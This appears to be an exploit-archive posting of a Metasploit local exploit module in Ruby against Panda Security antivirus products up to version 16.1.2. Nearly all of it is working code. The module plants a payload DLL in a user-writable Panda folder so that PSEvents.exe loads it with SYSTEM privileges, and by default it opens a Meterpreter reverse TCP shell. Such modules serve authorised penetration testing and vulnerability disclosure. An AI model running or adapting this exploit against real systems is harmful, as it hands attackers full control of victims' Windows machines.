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Panda Security PSEvents Privilege Escalation

Posted on 23 October 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::EXE
include Exploit::FileDropper
include Post::File

def initialize(info={})
super( update_info( info,
'Name' => 'Panda Security PSEvents Privilege Escalation',
'Description' => %q{
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
When run, it checks a user writable folder for certain DLL files, and if any are found
they are automatically run.
Vulnerable Products:
Panda Global Protection 2016 (<=16.1.2)
Panda Antivirus Pro 2016 (<=16.1.2)
Panda Small Busines Protetion (<=16.1.2)
Panda Internet Security 2016 (<=16.1.2)
},
'License' => MSF_LICENSE,
'Author' => [
"h00die <mike@shorebreaksecurity.com>", # Module,
'Security-Assessment.com' # discovery
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'payload' => 'windows/meterpreter/reverse_tcp',
'exitfunc' => 'seh'
},
'References' => [
[
'EDB', '40020',
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
]
],
'DisclosureDate'=> 'Jun 27 2016'
))
register_options(
[
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
], self.class)
end

def get_path()
case sysinfo['OS']
when /Windows (7|8|10|2012|2008)/
return '%ProgramData%\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171'
when /Windows (NT|XP)/
return '%AllUsersProfile%\Application Data\Panda Security\Panda Devices Agent\Downloads\1a2d7253f106c617b45f675e9be08171'
end
end

def check
if directory?(get_path())
print_good('Vuln path exists')
CheckCode::Appears
else
vprint_error("#{get_path()} doesn't exist on target")
CheckCode::Safe
end
end

def exploit
vprint_status("OS Detected as: #{sysinfo['OS']}")

payload_filepath = get_path()
payload_filepath = "#{payload_filepath}\#{datastore['DLL']}"
upload_payload_dll(payload_filepath)

# start the hour wait
stime = Time.now.to_f
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
print_status "Start Time: #{Time.now.to_s}"
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
end

def upload_payload_dll(payload_filepath)
payload = generate_payload_dll()
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
end
end
end

 

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